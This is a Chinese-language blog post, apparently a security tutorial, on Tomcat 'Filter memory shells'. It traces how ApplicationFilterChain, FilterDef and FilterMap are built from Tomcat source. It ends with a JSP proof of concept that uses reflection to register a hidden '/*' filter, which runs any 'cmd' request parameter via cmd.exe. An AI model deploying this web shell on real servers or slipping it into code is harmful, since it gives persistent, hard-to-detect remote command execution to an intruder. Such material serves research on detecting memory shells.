Filter内存马

基础知识

FilterDef: 存放FilterDef的数组被称为FilterDefs,每个FilterDef定义了一个具体的过滤器,包括描述信息、名称、过滤器实例以及class等,

FilterConfigs: 这些过滤器的具体配置实例,我们可以为每个过滤器定义具体的配置参数,以满足系统的需求;

FilterMaps: 用于将FilterConfigs映射到具体的请求路径或其他标识上,这样系统在处理请求时就能够根据请求的路径或标识找到对应的FilterConfigs,从而确定要执行的过滤器链;

FilterChain: 由多个FilterConfigs组成的链式结构,它定义了过滤器的执行顺序,在处理请求时系统会按照FilterChain中的顺序依次执行每个过滤器,对请求进行过滤和处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[web.xml / 注解 / 动态注册]


+------------+
| FilterDef | ← 描述 Filter 的身份信息(名字、类、实例、初始化参数)
+------------+

│ 绑定关系(filterName)

+------------+
| FilterMap | ← 描述 Filter 的匹配规则(URL、Servlet、Dispatcher)
+------------+


[ApplicationFilterFactory 构建链]


+---------------------------+
| ApplicationFilterChain | ← 按顺序持有要执行的 Filter 实例
+---------------------------+


doFilter(request, response)

filter调用链

当第一个filter执行到chain.doFilter(req,res),就会调用ApplicationFilterChain.doFilter()方法,而ApplicationFilterChain.doFilter()会调用internalDoFilter()进入链式调用filter,

流程拆解

  1. 容器创建 ApplicationFilterChain

    • 请求一进来,Tomcat 会根据 web.xml 或 Spring 的配置,找到匹配的所有 Filter。

    • 把它们按顺序放进一个数组,比如:

      1
      [FilterA, FilterB, FilterC, DispatcherServlet]
    • 然后构造一个 ApplicationFilterChain 对象,里面有:

      1
      2
      Filter[] filters;
      int pos = 0; // 当前执行到第几个Filter
  2. 第一个 Filter 执行

    • 容器调用 FilterA.doFilter(req, res, chain)
    • FilterA 先做自己的逻辑,然后调用 chain.doFilter(req,res)
  3. 进入 ApplicationFilterChain.doFilter()

    • ApplicationFilterChain 检查当前 pos

      1
      2
      3
      4
      5
      6
      if (pos < filters.length) {
      Filter nextFilter = filters[pos++];
      nextFilter.doFilter(req, res, this);
      } else {
      servlet.service(req, res);
      }
    • 于是 pos 加 1,拿到下一个 Filter(FilterB),再调用它的 doFilter()

  4. 下一个 Filter 执行(FilterB)

    • FilterB 执行自己的逻辑。
    • 如果它调用 chain.doFilter(req,res),就又回到 ApplicationFilterChain,进入下一个 Filter(FilterC)。
  5. 所有 Filter 执行完

    • pos == filters.length 时,ApplicationFilterChain 就不再取 Filter 了,而是调用最终的 Servlet.service()(比如 SpringMVC 的 DispatcherServlet)。

利用链

internalDoFilter()方法中,所以的filter都来自filters数组

1
ApplicationFilterConfig filterConfig = filters[pos++];

检查定义,发现是一个ApplicationFilterConfig[]类型的空数组

1
private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];

查看用法,发现addFilter()方法是往里面加值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void addFilter(ApplicationFilterConfig filterConfig) {

// Prevent the same filter being added multiple times
for (int i = 0; i < n; i++) {
if (filters[i] == filterConfig) {
return;
}
}

if (n == filters.length) {
filters = Arrays.copyOf(filters, n + INCREMENT);
}
filters[n++] = filterConfig;

}

继续调用addFilter()ApplicationFilterFactory.createFilterChain()方法调用addFilter()创建filter,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersServlet(filterMap, servletName)) {
continue;
}
ApplicationFilterConfig filterConfig =
(ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
log.warn(sm.getString("applicationFilterFactory.noFilterConfig", filterMap.getFilterName()));
continue;
}
filterChain.addFilter(filterConfig);
}

到此可以看见,filter就是在createFilterChain()方法里进行创建添加,因此只需分析它的添加流程,即可动态添加恶意filter

createFilterChain()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {

// If there is no servlet to execute, return null
if (servlet == null) {
return null;
}

// Create and initialize a filter chain object
ApplicationFilterChain filterChain;
if (request instanceof Request) {
Request req = (Request) request;
if (Globals.IS_SECURITY_ENABLED) {
// Security: Do not recycle
filterChain = new ApplicationFilterChain();
} else {
filterChain = (ApplicationFilterChain) req.getFilterChain();
if (filterChain == null) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
// Request dispatcher in use
filterChain = new ApplicationFilterChain();
}

filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

// Acquire the filter mappings for this Context
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();

// If there are no filter mappings, we are done
if (filterMaps == null || filterMaps.length == 0) {
return filterChain;
}

// Acquire the information we will need to match filter mappings
DispatcherType dispatcher = (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);

String requestPath = FilterUtil.getRequestPath(request);

String servletName = wrapper.getName();

// Add the relevant path-mapped filters to this filter chain
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!FilterUtil.matchFiltersURL(filterMap, requestPath)) {
continue;
}
ApplicationFilterConfig filterConfig =
(ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
log.warn(sm.getString("applicationFilterFactory.noFilterConfig", filterMap.getFilterName()));
continue;
}
filterChain.addFilter(filterConfig);
}

// Add filters that match on servlet name second
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersServlet(filterMap, servletName)) {
continue;
}
ApplicationFilterConfig filterConfig =
(ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
log.warn(sm.getString("applicationFilterFactory.noFilterConfig", filterMap.getFilterName()));
continue;
}
filterChain.addFilter(filterConfig);
}

// Return the completed filter chain
return filterChain;
}

分析代码,有几个关键点

  • filterMaps[]不能为空
  • filterConfig不能为空
  • 他们均为StandardContext类属性,可以通过反射调用StandardContext

查看filterMaps和filterConfig定义结构

filterMaps

1
private final ContextFilterMaps filterMaps = new ContextFilterMaps();

filterConfigs

1
private final Map<String,ApplicationFilterConfig> filterConfigs = new HashMap<>(); // Guarded by filterDefs

寻找写入

filterMaps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public void addFilterMap(FilterMap filterMap) {
validateFilterMap(filterMap);
// Add this filter mapping to our registered set
filterMaps.add(filterMap);
fireContainerEvent("addFilterMap", filterMap);
}


@Override
public void addFilterMapBefore(FilterMap filterMap) {
validateFilterMap(filterMap);
// Add this filter mapping to our registered set
filterMaps.addBefore(filterMap);
fireContainerEvent("addFilterMap", filterMap);
}

filterConfigs

没有找到add(),但因为它是个Map,在filterStart()找到了put

1
2
3
4
5
6
7
8
for (Entry<String,FilterDef> entry : filterDefs.entrySet()) {
String name = entry.getKey();
if (getLogger().isTraceEnabled()) {
getLogger().trace(" Starting filter '" + name + "'");
}
try {
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue());
filterConfigs.put(name, filterConfig);

原本已经可以开始写入,但看到写入filterMap需要调用validateFilterMap()方法,跟进validateFilterMap()方法查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private void validateFilterMap(FilterMap filterMap) {
// Validate the proposed filter mapping
String filterName = filterMap.getFilterName();
String[] servletNames = filterMap.getServletNames();
String[] urlPatterns = filterMap.getURLPatterns();
if (findFilterDef(filterName) == null) {
throw new IllegalArgumentException(sm.getString("standardContext.filterMap.name", filterName));
}

if (!filterMap.getMatchAllServletNames() && !filterMap.getMatchAllUrlPatterns() && (servletNames.length == 0) &&
(urlPatterns.length == 0)) {
throw new IllegalArgumentException(sm.getString("standardContext.filterMap.either"));
}
for (String urlPattern : urlPatterns) {
if (!validateURLPattern(urlPattern)) {
throw new IllegalArgumentException(sm.getString("standardContext.filterMap.pattern", urlPattern));
}
}
}

这里需要filterDef有值,且等于filterMap

1
findFilterDef(filterName) == null)

因此继续寻找添加filterDef

1
2
3
4
5
6
7
8
public void addFilterDef(FilterDef filterDef) {

synchronized (filterDefs) {
filterDefs.put(filterDef.getFilterName(), filterDef);
}
fireContainerEvent("addFilterDef", filterDef);

}

至此,开始编写poc

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<%@ page import="com.sun.org.glassfish.gmbal.IncludeSubclass" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %><%--
Created by IntelliJ IDEA.
User: 19753
Date: 2025/8/20
Time: 23:50
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public class filtershell extends HttpFilter{
// public filtershell() {
// }

@Override
protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain) throws IOException, ServletException {
res.setContentType("text/html;charset=UTF-8");
String cmd = req.getParameter("cmd");
if (cmd != null){
Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
chain.doFilter(req,res);
}
super.doFilter(req, res, chain);
}
}
%>
<%
ServletContext servletContext = request.getServletContext();
//通过反射获取 ApplicationContext
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)applicationContextField.get(servletContext);
// 通过反射获取 StandardContext
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

filtershell filter = new filtershell();

FilterDef def = new FilterDef();
def.setFilterName("shell-filter");
def.setFilter(filter);
def.setFilterClass(filter.getClass().getName());

FilterMap map = new FilterMap();
map.setFilterName("shell-filter");
map.addURLPattern("/*");

standardContext.addFilterDef(def);
standardContext.addFilterMap(map);
standardContext.filterStart();

%>

Filter内存马
http://xiaowu5.cn/2025/12/04/Filter内存马/
作者
5
发布于
2025年12月4日
许可协议
BY XIAOWU